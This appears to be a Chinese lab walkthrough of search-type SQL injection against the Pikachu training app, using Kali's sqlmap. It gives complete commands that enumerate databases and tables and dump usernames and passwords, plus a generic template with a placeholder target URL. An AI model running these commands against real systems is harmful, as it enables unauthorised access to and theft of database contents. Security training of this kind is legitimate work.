pikachu靶场——SQL-Inject—3(Kali系统)

文章目录

今天复现搜索型型注入和xx型注入的案例。本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别sql注入漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。

一、链接分析

通过随机输入字符串,可以看到搜索型注入和xx型注入的提交请求都为 get 请求,其中搜索型注入的数据报为

xx型数据包为:

然后通过 sqlmap 对这两个地址进行扫描,发现其存在的 sql 漏洞依然为 布尔盲注漏洞(boolen-based blind)、报错注入(error-based)、时间盲注(time-based blind)、联合查询注入(union query).

其中

  • 联合查询注入(union query)在pikachu靶场------SQL-Inject---1(Kali系统)已经复现,可以对照的在这个接口进行尝试。
  • 报错注入(error-based)在pikachu靶场------SQL-Inject---2(Kali系统)完成复现 **(审核一直通不过,有需要的话可以留言)
    **,可参考进行尝试。

二、kali 漏洞扫描

今天主要使用 kali 的 sqlmap 实现对漏洞的注入,获取对应的数据库,数据表,数据结构以及具体的数据。本章以搜索型注入为例。

(一)获取数据库

添加 --current-db,完整命令为:

shell 复制代码
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch --current-db

主要是显示当前连接的数据,返回信息为:

如果需要返回所有数据库,添加 --dbs命令为:

shell 复制代码
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch --dbs

这里返回的是目标主机所有的数据库,根据实际会有所不同。

(二)获取数据表

需要传入想要查询的数据库名称,-D pikachu --tables,完整命令为:

shell 复制代码
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch -D pikachu --tables

(三)获取数据表字段信息

需要传入想要查询的数据表名称,-D pikachu --T users --columns,完整命令为:

shell 复制代码
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch -D pikachu -T user --columns

(四)获取数据

需要传入想要查询的数据表字段名称,-D pikachu --T users --columns,完整命令为:

shell 复制代码
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch -D pikachu -T users -C level,id,password,username --dump

总结

对于使用 kali 的sqlmap 工具进行 sql注入时,其具体命令格式如下:

bash 复制代码
# 获取所有数据库
sqlmap -u "目标URL" --dbs
# 获取当前数据库
sqlmap -u "目标URL" --current-db
# 获取表
sqlmap -u "目标URL" -D pikachu --tables
# 获取字段
sqlmap -u "目标URL" -D pikachu -T users --columns
# 获取数据
sqlmap -u "目标URL" -D pikachu -T users -C username,password --dump
相关推荐
星星也在雾里6 小时前
PgBouncer 解决 PostgreSQL 连接数超限 + 可视化监控
数据库·postgresql
雨辰AI7 小时前
SpringBoot3 + 人大金仓读写分离 + 分库分表 + 集群高可用 全栈实战
java·数据库·mysql·政务
长城20247 小时前
关于MySql的ONLY_FULL_GROUP_BY问题
数据库·mysql·聚合列
常常有8 小时前
MySQL 底层执行原理:输入SQL语句到两阶段提交
数据库·sql·mysql
Mr. zhihao8 小时前
深入解析redis基本数据结构
数据结构·数据库·redis
m0_748839498 小时前
利用天正暖通CAD快速掌握风管数量统计的方法
数据库
随身数智备忘录8 小时前
什么是设备管理体系?设备管理体系包含哪些核心模块?
网络·数据库·人工智能
海市公约9 小时前
MySQL更新语句执行全流程:从Buffer Pool修改到二阶段提交
数据库·mysql·binlog·innodb·undo log·二阶段提交·update执行原理
颂love9 小时前
MySQL的执行流程
android·数据库·mysql
海市公约10 小时前
一条SQL查询的完整旅程:MySQL执行流程深度解析
sql·mysql·数据库优化·执行计划·连接器·查询缓存·sql执行原理